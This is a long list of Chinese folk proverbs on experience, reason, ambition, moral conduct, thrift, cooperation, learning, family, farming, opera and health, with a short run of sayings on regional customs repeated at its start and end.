◆人中有吕布,马中有赤兔。
◆三里不同乡,五里不同俗。
◆大意失荆州,骄傲失街亭。
◆上有天堂,下有苏杭。
◆五月初五过端阳,吃完粽子忙插秧。
◆不怕黑李逵,只怕哭刘备。
◆四川太阳云南风,贵州落雨如过冬。
◆百里不同俗,十里改规矩。
◆过了八达岭,征衣添一领。
◆关西出将,关东出相。
◆讲《三国》,离不得诸葛;说赵云,离不了长枪。
◆阿斗有权,诸葛有能。
◆知礼不如随俗。
◆南甜北咸,东辣西酸。
◆南方吃雁,北方吃蛋。
◆食在广州,住在苏州。
◆美不美,家乡水;亲不亲,故乡人。
◆秦岭山脉一条线,南吃大米北吃面。
◆一天不练手脚慢,两天不练丢一半,三天不练门外汉,四天不练瞪眼看。
◆十年练得好文秀才,十年练不成田秀才。
◆人在世上练,刀在石上磨。
◆人行千里路,胜读十年书。
◆人心隔肚皮,看人看行为。
◆力是压大的,胆是吓大的。
◆三天不念口生,三年不做手生。
◆口说无凭,事实为证。
◆湖里游着大鲤鱼,不如桌上小鲫鱼。
◆口说不如身到,耳闻不如目睹。
◆山里孩子不怕狼,城里孩子不怕官。
◆万句言语吃不饱,一捧流水能解渴。
◆山是一步一步登上来的,船是一橹一橹摇出去的。
◆千学不如一看,千看不如一练。
◆久住坡,不嫌陡。
◆马看牙板,人看言行。
◆不经冬寒,不知春暖。
◆不挑担子不知重,不走长路不知远。
◆不在被中睡,不知被儿宽。
◆不下水,一辈子不会游泳;不扬帆,一辈子不会撑船。
◆不当家,不知柴米贵;不生子,不知父母恩。
◆不摸锅底手不黑,不拿油瓶手不腻。
◆水落现石头,日久见人心。
◆打铁的要自己把钳,种地的要自己下田。
◆打柴问樵夫,驶船问艄公。
◆宁可做过,不可错过。
◆头回上当,二回心亮。
◆发回水,积层泥;经一事,长一智。
◆耳听为虚,眼见为实。
◆老马识路数,老人通世故。
◆老人不讲古,后生会失谱。
◆老牛肉有嚼头,老人言有听头。
◆老姜辣味大,老人经验多。
◆百闻不如一见,百见不如一干。
◆吃一回亏,学一回乖。
◆当家才知盐米贵,出门才晓路难行。
◆光说不练假把式,光练不说真把式,连说带练全把式。
◆多锉出快锯,多做长知识。
◆树老根多,人老识多。
◆砍柴上山,捉鸟上树。
◆砍柴砍小头,问路问老头。
◆砂锅不捣不漏,木头不凿不通。
◆草遮不住鹰眼,水遮不住鱼眼。
◆药农进山见草药,猎人进山见禽兽。
◆是蛇一身冷,是狼一身腥。
◆香花不一定好看,会说不一定能干。
◆经一番挫折,长一番见识。
◆经得广,知得多。
◆要知山中事,乡间问老农。
◆要知父母恩,怀里抱儿孙。
◆要吃辣子栽辣秧,要吃鲤鱼走长江。
◆树老半空心,人老百事通。
◆一人说话全有理,两人说话见高低。
◆一正辟三邪,人正辟百邪。
◆一时强弱在于力,万古胜负在于理。
◆一理通,百理融。
◆人怕没理,狗怕夹尾。
◆人怕理,马怕鞭。
◆人横有道理,马横有缰绳。
◆人多出正理,谷多出好米。
◆不看人亲不亲,要看理顺不顺。
◆天上无云不下雨,世间无理事不成。
◆天下的弓都是弯的,世上的理都是直的。
◆天无二日,人无二理。
◆井越掏,水越清;事越摆,理越明。
◆无理心慌,有理胆壮。
◆牛无力拖横耙,人无理说横话。
◆认理不认人,不怕不了事。
◆认理不认人,帮理不帮亲。水大漫不过船,手大遮不住天。
◆水不平要流,理不平要说。
◆水退石头在,好人说不坏。
◆以势服人口,以理服人心。
◆让人一寸,得理一尺。
◆有理说实话,没理说蛮话。
◆有理的想着说,没理的抢着说。
◆有理不怕势来压,人正不怕影子歪。
◆有理不在言高,有话说在面前。
◆有理不可丢,无理不可争。
◆有理赢,无理输。
◆有理摆到事上,好钢使到刃上。
◆有理走遍天下,无理寸步难行。
◆有斧砍得树倒,有理说的不倒。
◆有志不在年高,有理不在会说。
◆吃饭吃米,说话说理。
◆吃人的嘴软,论人的理短。
◆吃要吃有味的,说要说有理的。
◆会走走不过影,会说说不过理。
◆舌头是肉长的,事实是铁打的。
◆灯不亮,要人拨;事不明,要人说。
◆灯不拨不亮,理不辩不明。
◆好人争理,坏人争嘴。
◆好茶不怕细品,好事不怕细论。
◆好酒不怕酿,好人不怕讲。
◆走不完的路,知不完的理。
◆走路怕暴雨,说话怕输理。
◆坛口封得住,人口封不住。
◆理不短,嘴不软。
◆菜没盐无味,话没理无力。
◆脚跑不过雨,嘴强不过理。
◆做事循天理,出言顺人心。
◆船稳不怕风大,有理通行天下。
◆煮饭要放米,讲话要讲理。
◆隔行如隔山,隔行不隔理。
◆鼓不敲不响,理不辩不明。
◆路是弯的,理是直的。
◆路不平,众人踩;事不平,大家管。
◆路有千条,理只一条。
◆碾谷要碾出米来,说话要说出理来。
◆稻多打出米,人多讲出理。
◆劈柴看纹理,说话凭道理。
◆人有志,竹有节。
◆人有恒心万事成,人无恒心万事崩。
◆人不在大小,马不在高低。人往高处走,水往低处流。
◆人往大处看,鸟往高处飞。
◆人争气,火争焰,佛争一炷香。
◆人老心不老,身穷志不穷。
◆人要心强,树要皮硬。
◆人凭志气,虎凭威势。
◆人怕没志,树怕没皮。
◆人起心发,树起根发。
◆三百六十行,行行出状元。
◆山高有攀头,路远有奔头。
◆山高流水长,志大精神旺。
◆小人记仇,君子长志。
◆不怕路长,只怕志短。
◆不怕百事不利,就怕灰心丧气。
◆不怕山高,就怕脚软。
◆不怕学不成,就怕心不诚。
◆不怕学问浅,就怕志气短。
◆不担三分险,难练一身胆。
◆不磨不炼,不成好汉。
◆木尺虽短,能量千丈。
◆天下无难事,只怕有心人。
◆天无一月雨,人无一世穷。
◆天不生无用之人,地不长无名之草。
◆无志山压头,有志人搬山。
◆见强不怕,遇弱不欺。
◆月缺不改光,箭折不改钢。
◆水深难见底,虎死不倒威。
◆水往下流,人争上游。
◆只要自己上进,不怕人家看轻。
◆只有上不去的天,没有过不去的山。
◆只怕不勤,不怕不精;只怕无恒,不怕无成。
◆只给君子看门,不给小人当家。
◆鸟贵有翼,人贵有志。
◆鸟往明处飞,人往高处去。
◆生人不生胆,力大也枉然。
◆宁可身冷,不可心冷;宁可人穷,不可志穷。
◆宁可身骨苦,不叫面皮羞。
◆宁做蚂蚁腿,不学麻雀嘴。
◆宁做穷人脚下土,不做财主席上珍。
◆宁愿折断骨头,不愿低头受辱。
◆宁给好汉拉马,不给懒汉作爷。
◆宁给穷人一斗,不给富人一口。
◆宁吃开眉粥,不吃皱眉饭。
◆宁肯给君子提鞋,不肯和小人同财。
◆宁打金钟一下,不打破鼓千声。
◆宁叫钱吃亏,不叫人吃亏。
◆宁死不背理,宁贫不堕志。
◆有志不在年高,无志空长百岁。
◆有上不去的天,没过不去的关。
◆有山必有路,有水必有渡。
◆百日连阴雨,总有一朝晴。
◆吃过的馍馍不香,嚼过的甘蔗不甜。
◆好汉凭志强,好马凭胆壮。
◆好汉不吃闷头亏,好鸟不钻刺笆林。
◆好汉做事干到底,好马登程跑到头。
◆好男不争财和产,好女不争嫁时衣。
◆好鼓一打就响,好灯一拔就亮。
◆志高品高,志下品下。
◆走路不怕上高山,撑船不怕过险滩。
◆男人无志,钝铁无钢,女人无志,乱草无秧。
◆秀才饿死不卖书,壮士穷途不卖剑。
◆谷要自长,人要自强。
◆没有锯不倒的树,没有敲不响的钟。
◆穷莫失志,富莫癫狂。
◆穷人不攀高亲,落雨不爬高墩。
◆君子报仇,十年不晚。
◆君子报仇三年,小人报仇眼前。
◆虎不怕山高,鱼不怕水深。
◆虎瘦雄心在,人穷志不短。
◆树老根子深,人老骨头硬。
◆树怕烂根,人怕无志。
◆草若无心不发芽,人若无心不发达。
◆胆大骑龙骑虎,胆小骑猫骑兔。
◆胆大走遍天下,胆小寸步难行。
◆秤砣虽小,能压千斤。
◆留得青山在,不怕没柴烧。
◆浪再高,也在船底;山再高,也在脚底。
◆菜无心必死,人无心必亡。
◆菜能吃,糠能吃,气不能吃;吃能让,穿能让,理不能让。
◆猛虎不处劣势,雄鹰不立垂枝。
◆绳锯木断,水滴石穿。
◆愁人苦夜长,志士惜日短。
◆愿为众人死,不为一人亡。
◆撒网要撒迎头网,开船要开顶风船。
◆一人修路,万人安步。
◆一人作恶,万人遭殃。
◆一人不说两面话,人前不讨两面光。
◆一山出虎,百家猪死。
◆一字两头平,戥秤不亏人。
◆一好遮不了百丑,百好遮不了一丑。
◆一个鸡蛋吃不饱,一身臭名背到老。
◆人怕放荡,铁怕落炉。
◆人怕引诱,塘怕渗透。
◆人怕私,地怕荒。
◆人怕没脸,树怕没皮。
◆人靠自修,树靠人修。
◆人靠心好,树靠根牢。
◆人心换人心,八两换半斤。
◆人前若爱争长短,人后必然说是非。
◆人要实心,火要空心。
◆人是实的好,姜是老的辣。
◆入山不怕伤人虎,只怕人情两面刀。
◆刀伤易治,口伤难医。
◆大路有草行人踩,心术不正旁人说。
◆千金难买心,万金不卖道。
◆小时偷针,大了偷金。
◆小人记仇,君子感恩。
◆不怕怒目金刚,只怕眯眼菩萨。
◆不怕虎狼当面坐,只怕人前两面刀。
◆不怕人不敬,就怕己不正。
◆不怕鬼吓人,就怕人吓人。
◆不要骑两头马,不要喝两头茶。
◆不是你的财,别落你的袋。
◆不吃酒,脸不红;不做贼,心不惊。
◆不图便宜不上当,贪图便宜吃大亏。
◆天凭日月,人凭良心。
◆歹马害群,臭柑豁筐。
◆劝人终有益,挑唆害无穷。
◆打人两日忧,骂人三日羞。
◆打空拳费力,说空话劳神。
◆击水成波,击石成火,激人成祸。
◆只可救人起,不可拖人倒。
◆只可劝人家圆,不可劝人家离。
◆只可救苦,不可救赌。
◆只有修桥铺路,没有断桥绝路。
◆只有千里的名声,没有千里的威风。
◆鸟惜羽毛虎惜皮,为人处世惜脸皮。
◆宁可认错,不可说谎。
◆宁可荤口念佛,不可素口骂人。
◆宁可无钱,不可无耻。
◆宁可正而不足,不可邪而有余。
◆宁可明枪交战,不可暗箭伤人。
◆宁可一日没钱使,不可一日坏行止。
◆宁叫心受苦,不叫脸受热。
◆宁伸扶人手,莫开陷人口。
◆宁救百只羊,不救一条狼。
◆发誓发得灵,监房无罪人。
◆皮鞭伤肉,恶语伤心。
◆有话说在当面,有事摆在眼前。
◆有势不可使尽,有福不可享尽。
◆有心烧香,不论早晚。
◆当着真人,别说假话。
◆行为不正经,舌头短三分。
◆明人不做暗事,真人不说假话。
◆知足得安宁,贪心易招祸。
◆知足称君子,贪婪是小人。
◆知足常乐,终身不辱。
◆知过不难改过难,言善不难行善难。
◆狗咬人,有药治;人咬人,没药医。
◆狐狸总要露尾巴,毒蛇总要吐舌头。
◆贪图小利,难成大事。
◆使心用心,反害自身。
◆和气生财,忤逆生灾。
◆学好三年,学坏三天。
◆学好千日不足,学坏一日有余。
◆放虎归山,必有后患。
◆刻薄不赚钱,忠厚不折本。
◆刻薄成家,终无久享。
◆做贼瞒不得乡里,偷食瞒不得舌齿。
◆做贼偷葱起,贪污揩油起。
◆偷来钱,两三天;血汗钱,万万年。
◆偷吃不肥,做贼不富。
◆脚正不怕鞋歪,心正不怕雷打。
◆脚踏十字稳,不怕棒槌滚。
◆猫鼠不同眠,虎鹿不同行。
◆船头坐得稳,不怕风来颠。
◆银钱如粪土,脸面值千金。
◆清贫常乐,浊富多忧。
◆谎话讲不得,庄稼荒不得。
◆麻雀落田要吃谷,狐狸进屋要偷鸡。
◆欺山莫欺水,欺人莫欺心。
◆一个和尚挑水喝,两个和尚抬水喝,三个和尚没水喝。
◆一心想赶两只兔,反而落得两手空。
◆一回经蛇咬,三年怕草绳。
◆一问三不知,神仙没法治。
◆一年算得三次命,无病也要变有病。
◆一瓶子水不响,半瓶子水乱晃。
◆人心不足蛇吞象,贪心不足吃月亮。
◆人在福中不知福,船在水中不知流。
◆人见利而不见害,鱼见食而不见钓。
◆人爱富的,狗咬穷的。
◆人越嬉越懒,嘴越吃越馋。
◆自己做错不算数,别人做错打屁股。
◆自家的肉不香,人家的菜有味。
◆自称好,烂稻草。
◆多鸣之猫,捕鼠必少。
◆论旁人斤斤计较,说自己花好稻好。
◆好药难治冤孽病,好话难劝糊涂虫。
◆伶俐人一拨三转,糊涂人棒打不回。
◆身穿三尺衣,说话无高低。
◆没钱时挨饿,有钱时耀阔。
◆纸做花儿不结果,蜡做芯儿近不得火。
◆鸡大飞不过墙,灶灰筑不成墙。
◆看人挑担不吃力,自己挑担步步歇。
◆看佛警僧,看父警子。
◆说话看势头,办事看风头。
◆爹不识耕田,子不识谷种。
◆病急乱投医,逢庙就烧香。
◆家人说话耳旁风,外人说话金字经。
◆家无主心骨,扫帚颠倒竖。
◆烧的香多,惹的鬼多。
◆娘痛儿,路样长;儿痛娘,线样长。
◆娘想儿,长江水,儿想娘,扁担长。
◆能大能小是条龙,只大不小是条虫。
◆眼大肚子小,争起吃不了。
◆眼睛不识宝,灵芝当蓬蒿。
◆一路精,赚金又赚银;路路精,无钱吃点心。
◆十里认人,百里认衣。
◆大王好见,小鬼难求。
◆大老爷丢签,老百姓啃砖。
◆大树一倒,猢狲乱跑。
◆大黄医好人无功,人参治死人无过。
◆三年清知府,十万雪花银。
◆下不得毒手,成不了财主。
◆上了赌场,不认爹娘。
◆门前有个讨饭棍,骨肉至亲不上门。
◆门前出起青草墩,嫡亲娘舅当外人。
◆小人自大,小溪声大。
◆天下乌鸦一般黑,世上财主一样狠。
◆天下衙门朝南开,有理无钱莫进来。
◆天大的官司,地大的银子。
◆天理地理,有钱有理。
◆不种泥田吃好饭,不养花蚕着好丝。
◆牛角越长越弯,财主越大越贪。
◆牛眼看人高,狗眼看人低。
◆父望子成龙,子望父升天。
◆为富不仁 ,为仁不富。
◆文官三只手,武官四条腿。
◆文官动动嘴,武官跑断腿。
◆火到猪头烂,钱到公事办。
◆财大折人,势大压人。
◆冷,冷在风里,穷,穷在租里。
◆穷人心肠好,富人心如刀。
◆穷人手脚黑,富人心眼黑。
◆穷人求饭吃,富人胀破肚。
◆穷人的汗,富人的饭。
◆闷头狗,暗下口。
◆武官会杀,文官会刮。
◆拍马有个架,先笑后说话。
◆狗咬穿烂的,人舔穿好的。
◆狗仗人势,雪仗风势。
◆狗朝屁走,人朝势走。
◆贪婪鬼没个饱,吝啬鬼不知富。
◆贫居闹市无人问,富在深山有远亲。
◆和尚不说鬼,袋里没有米。
◆一手难遮两耳风,一脚难登两船。
◆一手捉不住两条鱼,一眼看不清两行书。
◆一人传虚,百人传实。
◆一样事,百样做。
◆一口吃不成胖子,一步跨不到天边。
◆一羽示风向,一草示水流。
◆一笔画不成龙,一锹挖不出井。
◆一分价钱一分货,十分价钱买不错。
◆十个钱要花,一个钱要省。
◆十月怀胎,一朝分娩。
◆人不可貌相,海水不可斗量。
◆人看从小,马看踢蹄。
◆人无远虑,必有近忧。
◆龙无云不行,鱼无水不生。
◆龙眼识珠,凤眼识宝,牛眼识草。
◆未晚先投宿,鸡鸣早看天。
◆出门看天色,炒菜看火色。
◆用人不疑,疑人不用。
◆瓜无滚圆,人无十全。
◆宁失一事,不失一时。
◆对强盗只能用刀子,对恶狗只能用棍子。
◆有多大的脚,穿多大的鞋。
◆有一兴必有一败,有一利必有一弊。
◆有话说在明处,有药敷在痛处。
◆有果必有因,有利必有害。
◆有上坡必有下坡,有进路必有出路。
◆吃饭先尝一尝,做事先想一想。
◆吃菜吃心,听话听音。
◆当断不断,反受其乱。
◆刚则易折,柔则常存。
◆会说的惹人笑,不会说的惹人跳。
◆会怪怪自己,不会怪怪别人。
◆会跳的先缩脚,会撞的先缩脖。
◆全是生姜不辣,全是花椒不麻。
◆先钉桩子后系驴,先撒窝子后钓鱼。
◆多下及时雨,少放马后炮。
◆多深的根基,筑多高的墙。
◆行船趁顺风,打铁趁火红。
◆人无笑脸休开店,会打圆场自落台。
◆人美不在貌,美在心意好。
◆人讲礼义为先,树讲花果为原。
◆大欺小,不公道;大帮小,呱呱叫。
◆小心不怕多,有礼不在迟。
◆小的不哄,老的不欺。
◆不怕衣服有补钉,只怕心灵有污点。
◆见人不施礼,枉跑四十里;见人施一礼,少走十里地。
◆打怕的人是假的,敬怕的人是真的。
◆打人不打脸,吃饭不夺碗。
◆叫人不蚀本,舌头打个滚。
◆让礼一寸,得礼一尺。
◆让路不是痴汉,躲路不是呆人。
◆当着矮人,别说矮话。
◆争着不够吃,让着吃不了。
◆行路能开口,天下随便走。
◆好饭不怕晚,好话不嫌慢。
◆买卖不成仁义在。
◆你敬人一尺,人敬您一丈。
◆你对人无情,人对你薄意。
◆冷天莫遮火,热天莫遮风。
◆君子动口,小人动手。
◆君子争礼,小人争嘴。
◆忍一句,息一怒;饶一着,赢一步。
◆若要好,大让小。
◆事怕合计,人怕客气。
◆和人路路通,惹人头碰痛。
◆美言美语受人敬,恶言恶语伤人心。
◆说归说,笑归笑,动手动脚没家教。
◆逢着瞎子不谈光,逢着癞子不谈疮。
◆病好不谢医,下次无人医。
◆爱徒如爱子,尊师如尊父。
◆敬老得老,敬禾得宝。
◆一天省下个葫芦头,一年省下只大黄牛。
◆一天省下一两粮,十年要用仓来装。
◆一天省一把,十年买匹马。
◆一天一根线,十年积成缎。
◆一天吃餐粥,一年省石谷。
◆一滴汗珠万粒粮,细水长流度灾荒。
◆万石谷,粒粒积累;千丈布,根根织成。
◆万物土中生,全靠两手勤。
◆寸土寸金,地是老根。
◆寸土不空,粮食满囤。
◆上山弯弯腰,回家有柴烧。
◆千靠万靠,不如自靠。
◆门前有马非为富,家中有人不算穷。
◆不怕天寒地冻,就怕手脚不动。
◆不怕慢,就怕站;站一站,二里半。
◆不怕少年苦,只怕老来穷。
◆不怕吃饭拣大碗,就怕干活爱偷懒。
◆少不惜力,老不歇心。
◆手艺是活宝,天下饿不倒。
◆长江不拒细流,泰山不择土石。
◆今日有酒今朝醉,明天倒灶喝凉水。
◆从俭入奢易,从奢入俭难。
◆毛毛雨,打湿衣裳;杯杯酒,吃垮家当。
◆心要常操,身要长劳。
◆火越烧越旺,人越干越壮。
◆尺有尺用,寸有寸用。
◆双手是活宝,一世用不了。
◆水滴石穿,坐食山空。
◆功成由俭,业精于勤。
◆好问不迷路,好做不受贫。
◆劳动钱,万万年,贪污钱,在眼前。
◆求人不如求己,使人不如使腿。
◆弄花一年,看花一日。
◆囤尖省,日子长;囤底省,打饥荒。
◆囤尖浪费看不见,到了囤底后悔迟。
◆男也懒,女也懒,下雨落雪翻白眼。
◆坐吃山空,立吃地陷。
◆每日省一钱,三年并一千。
◆近河莫枉费水,近山莫枉烧柴。
◆冷天不冻下力汉,黄土不亏勤劳人。
◆没有乡下泥腿,饿死城里油嘴。
◆没有大粪臭,哪来五谷香。
◆一个不敌两人计,三人合唱二台戏。
◆一人一双手,做事没帮手,十人十双手,拖着泰山走。
◆一个巴掌拍不响,一人难唱独板腔。
◆一个巧皮匠,没有好鞋样;两个笨皮匠,彼此有商量;三个臭皮匠,胜过诸葛亮。
◆一根草搓不成索,一根篾编不成箩。
◆一根木头难成排,一根稻草难捆柴。
◆一根线,容易断;千根线,能拉纤。
◆一根竹竿容易弯,三缕丝线扯断难。
◆一只脚难走路,一个人难成户。
◆一只蜂酿不成蜜,一颗米熬不成粥。
◆三勤一懒,想懒不得懒;三懒一勤,想勤不得勤。
◆千树连根,十指连心。
◆风大就凉,人多就强。
◆平时肯帮人,急时有人帮。
◆兄弟同心金不换,妯娌齐心家不散。
◆兄弟协力山成玉,父子同心土变金。
◆鸟多不怕鹰,人多把山平。
◆有福同享,有难同当。
◆团结一条心,黄土变成金。
◆会说难抵两口,会做难抵两手。
◆远亲不如近邻,近邻不如对门。
◆助人要及时,帮人要诚心。
◆邻居失火,不救自危。
◆兵不离队,鸟不离群。
◆弟兄不和邻里欺,将相不和邻国欺。
◆虎离山无威,鱼离水难活。
◆单丝不成线,独木不成林。
◆单筷难挟菜,独翅难飞天。
◆砖连砖成墙,瓦连瓦成房。
◆独柴难引火,蓬柴火焰高。
◆独木不成林,单弦不成音。
◆家不和,外人欺。
◆家和日子旺,国和万事兴。
◆一人难驾大帆船,双手难遮众人眼。
◆一人难顺百人意,一墙难挡八面风。
◆一针不补,十针难缝;有险不堵,成灾叫苦。
◆一只眼,看不远;千只眼,看穿天。
◆一娇百病生,浅水溺死人。
◆出笼的鸟儿难回,出口的话儿难收。
◆只有大意吃亏,没有小心上当。
◆失事容易,得事艰难。
◆宁可悔了改,不可做了悔。
◆宁走十步远,不走一步险。
◆对人要宽,对己要严。
◆过头话少说,过头事少做。
◆有麝自然香,不用大风扬。
◆吃饭防噎,走路防跌。
◆自夸没人爱,残花没人戴。
◆字不可重写,话不可乱传。
◆豆腐莫烧老了,大话莫说早了。
◆实干能成事,虚心能添智。
◆绊人的桩,不一定高;咬人的狗,不一定叫。
◆居家要俭,行旅要慎。
◆树大招风,气大遭凶。
◆食多伤胃,言多语失。
◆说话细思考,吃饭细咀嚼。
◆前留三步好走,后留三步好退。
◆盐多了咸,话多了烦。
◆紧行无好步,慢尝得滋味。
◆柴经不起百斧,人经不起百语。
◆逢人莫乱讲,逢事莫乱闯。
◆一日读书一日功,一日不读十日空。
◆一日不读口生,一日不写手生。
◆一艺不精,误了终身。
◆一天学会一招,十天学会一套。
◆刀枪越使越亮,知识越积越多。
◆刀钝石上磨,人笨人前学。
◆刀快还要加钢,马壮还要料强。
◆刀不磨要生锈,人不学要落后。
◆三分靠教,七分靠学。
◆土地贵在耕种,知识贵在运用。
◆小时不教成浑虫,长大不学成懒龙。
◆不怕事情难,就怕不耐烦。
◆不读一家书,不识一家字。
◆天无边,智无限。
◆木不凿不通,人不学不懂。
◆井掏三遍好吃水,人从三师武艺高。
◆比赛必有一胜,苦学必有一成。
◆牛不训不会耕,马不练不能骑。
◆手指有长有短,知识有高有低。
◆心不可不用,地不可不种。
◆心专才能绣得花,心静才能织得麻。
◆水滴集多成大海,读书集多成学问。
◆玉不琢,不成器;木不雕,不成材;人不学,不知理。
◆世上无难事,只怕有心人。
◆东西越用越少,学问越学越多。
◆只要功夫深,铁杵磨成针。
◆鸟贵有翼,人贵有智。
◆边学边问,才有学问。
◆有子不教,不如不要。
◆老要常讲,少要常问。
◆吃饭不嚼不知味,读书不想不知意。
◆师傅领进门,巧妙在各人。
◆多从一家师,多懂一家艺。
◆自在不成人,成人不自在。
◆会说的不如会听的,会教的不如会学的。
◆众人里面有圣贤,土石里面有金银。
◆好铁要经三回炉,好书要经百回读。
◆学在苦中求,艺在勤中练。
◆话中有才,书中有智。
◆河水不再倒流,人老不再黑头。
◆细想出智慧,细嚼出滋味。
◆细工出巧匠,细泥浇好瓦。
◆要得会,天天累;要得精,用命拼。
◆要得惊人艺,须下苦功夫。
◆树靠人修,学靠自修。
◆种田不离田头,读书不离案头。
◆修树趁早,教子趁小。
◆泉水挑不干,知识学不完。
◆活到老学到老,学到八十仍嫌少。
◆积钱不如教子,闲坐不如看书。
◆造烛求明,读书求理。
◆爹娘养身,自己长心。
◆一个朋友一条路,一个冤家一堵墙。
◆一家养女百家求,一马不行百马忧。
◆人有人情,戏有戏味。
◆人急投亲,鸟急投林。
◆儿子疼小的,媳妇疼巧的。
◆儿多不如儿少,儿少不如儿好。
◆亏地不结籽,亏人不相交。
◆广交不如择友,投师不如访友。
◆子不嫌母丑,狗不嫌家贫。
◆马好坏骑着看,友好坏交着看。
◆马好不在叫,人美不在貌。
◆无妻不成家,无梁不成屋。
◆公鸡打架头对头,夫妻吵嘴不记仇。
◆月有圆有缺,人有聚有别。
◆今天来客,往日有意;今天打架,往日有气。
◆长兄如父,老嫂比母。
◆水大不能漫船,职大不能欺亲。
◆打铁不惜炭,养儿不惜饭。
◆节令不到,不知冷暖;人不相处,不知厚薄。
◆出门靠朋友,在家靠父母。
◆宁交双脚跳,不交眯眯笑。
◆有情饮水饱,无情吃饭饥。
◆朽木不可为柱,坏人不可为伍。
◆吃得好,穿得好,不如两口白头老。
◆岁寒知松柏,患难见交情。
◆会选的选儿郎,不会选的选家当。
◆会嫁嫁对头,不会嫁嫁门楼。
◆会交的交三辈,不会交的交一辈。
◆行要好伴,居要好邻。
◆交友分厚薄,穿衣看寒暑。
◆交义不交财,交财两不来。
◆衣不如新,人不如故。
◆好狗不咬鸡,好汉不打妻。
◆买马要看口齿,交友要摸心底。
◆男怕入错行,女怕嫁错郎。
◆近邻不可断,远友不可疏。
◆邻舍好,无价宝。
◆穷家难舍,熟地难离。
◆一日之计在于晨,一年之计在于春。
◆一年富,拾粪土;十年富,多种树。
◆十年老不了一个人,一天误掉了一个春。
◆十成收粮,九成靠秧。
◆七十二行,庄稼为王。
◆人怕老来穷,苗怕钻心虫。
◆人怕伤心,树怕剥皮。
◆人补桂圆蜜枣,田补河泥水草。
◆人要靠五谷养,田靠粪土长。
◆人治水,水利人,人不治水水害人。
◆人生病,不舒服;秧生病,不长谷。
◆人忙天不忙,迟早一路黄。
◆人误地一时,地误人一年。
◆小燕来,好种田;大雁来,好过年。
◆无灾人养树,有灾树养人。
◆无事田中走,谷米长几斗。
◆天干三年吃饱饭,虫害一时饿死人。
◆不知季节看花草,不知地气看五木。
◆不下百粒籽,难打千斤粮。
◆牛要满饱,马要夜草。
◆牛怕晨霜,马怕夜雨。
◆牛要脚圆,猪要脚粗。
◆六月不热,五谷不结。
◆水是田的娘,无水苗不长。
◆生口的要吃,长根的要肥。
◆禾苗不认爹和娘,耕作到家多打粮。
◆一家不知一家,和尚不知道家。
◆一粒米度三关,三粒米爬过山。
◆一层布儿一层风,十层布儿过一冬。
◆一壶难装两样酒,一树难开两样花。
◆一马不配两鞍,一脚难踏两船。
◆一青一黄是一年,一黑一白是一天。
◆十个叔叔抵不上一个老子,十件褂子抵不上一件袄子。
◆十朵菊花九朵黄,十个女儿九像娘。
◆七月蛇拦路,八月蛇上树。
◆人老了丑,树老了朽,为人难得十八九。
◆人有相像,货有相同。
◆衣冷加根带,饭少加碗菜。
◆好狗不跳,好猫不叫。
◆好树结好果,好铁铸好锅。
◆好鼓一打就响,好灯一拨就亮。
◆把舵的不慌,乘船的稳当。
◆男要俏,一身皂;女要俏,三分孝。
◆男大当婚,女大当嫁。
◆针无两头锋利,人无两副身心。
◆乱丝难理,泼妇难治。
◆秀才遇到兵,有理说不清。
◆没有不上钩的鱼,没有不上竿的猴。
◆纸上画藤不结瓜,芦花虽白难纺纱。
◆驴骑后,马骑前,骡子骑在腰中间。
◆直木先伐,甘井先竭。
◆一身戏在脸上,一脸戏在眼上。
◆大路不走草成窝,好歌不唱忘记多。
◆不怕人不请,就怕艺不精。
◆不经一师,不长一艺。
◆无巧不成书。
◆艺高人胆大。
◆文戏靠嘴,武戏靠腿。
◆文无定法,事有定规。
◆只要唱的戏好,不在开场迟早。
◆旦角要嫩,花脸要笨。
◆生不恋旦,班子要散;旦不恋生,班子要崩。
◆百艺不如一艺精。
◆会写的坐着,会唱的站着。
◆好戏不唱三台,好曲不唱三遍。
◆财压奴婢,艺压当行。
◆身在戏中,戏在心中。
◆冷死花旦,热死武生。
◆画人难画手,画树难画柳,画马难画走,画兽难画狗。
◆一天舞几舞,长命九十五。
◆一日练,一日功,十日不练十日空。
◆一脉不和,周身不适。
◆一饱为足,十饱伤人。
◆一顿吃伤,十顿吃汤。
◆一颗牙齿痛,满嘴不安宁。
◆人有四百病,医有八百方。
◆人勤病就懒,人懒病就勤。
◆人强人欺病,人弱病欺人。
◆人黄有病,苗黄缺肥。
◆入厨先洗手,上灶莫多言。
◆冬不蒙首,春不露脊。
◆饥梳头,饱洗澡。
◆生瓜梨枣,多吃不好。
◆白露身子不露,免得着凉泻肚。
◆宁叫嘴受穷,不叫病缠身。
◆宁可锅里放坏,不可肚里硬塞。
◆宁添一斗,莫添一口。
◆头对风,暖烘烘;脚对风,请郎中。
◆立如松,坐如钟,卧如弓,行如风。
◆有病早治,省钱省事。
◆老怕伤风,少怕痢疾。
◆老怕冬冷,少怕秋凉。
◆早饭吃得饱,午饭吃得好,晚饭吃得少,不用大夫瞧。
◆早起动动腰,一天少疲劳。
◆吃萝卜,喝热茶,大夫改行拿钉耙。
◆吃饭先喝汤,老了不受伤。
◆吃药不忌嘴,跑断大夫腿。
◆吃得慌,咽得忙,伤了胃口伤了肠。
◆吃了走百步,不用上药铺。
◆吃了省钱瓜,害了绞肠痧。
◆吃米带点糠,老小都安康。
◆吃面多喝汤,省得开药方。
◆吃酒不吃菜,必定醉得快。
◆吃穿当时,活到九十。
◆吃不言,睡不语。
◆吸不张口,呼不闭口。
◆先睡心,后睡眼。
◆先胖不会胖,后胖压塌床。
◆会吃千顿香,不会吃一顿伤。
◆汤淡易馊,人急易瘦。
◆热药冷吃,冷药热吃。
◆笑一笑,少一少;恼一恼,老一老。
◆凉九暖三,注意衣衫。
◆病后求医,不如病前预防。
◆病来如山倒,病去如抽丝。
◆眼睛害病从手起,肚子害病从嘴起。
◆常用的铁不锈,常练的人不病。
◆得病如射箭,治病如背纤。
◆庸医治标,名医治本。
◆粗饭养人,粗活益身。
◆朝食三块姜,如得人参汤。
◆遇事不怒,基本吃素,饭后百步,劳逸适度。
◆寒从足下起,火从头上生。
◆痘要结,麻要泄
◆一乡一俗,一弯一曲。
◆二月二,三月三,清明寒食过三天。
◆人不在大小,要有本事;山不在高低,要有景致。
◆人中有吕布,马中有赤兔。
◆三里不同乡,五里不同俗。
◆大意失荆州,骄傲失街亭。
◆上有天堂,下有苏杭。
◆五月初五过端阳,吃完粽子忙插秧。
◆不怕黑李逵,只怕哭刘备。
◆四川太阳云南风,贵州落雨如过冬。
◆百里不同俗,十里改规矩。
◆过了八达岭,征衣添一领。
◆关西出将,关东出相。
◆讲《三国》,离不得诸葛;说赵云,离不了长枪。
◆阿斗有权,诸葛有能。
◆知礼不如随俗。
◆南甜北咸,东辣西酸。
◆南方吃雁,北方吃蛋。
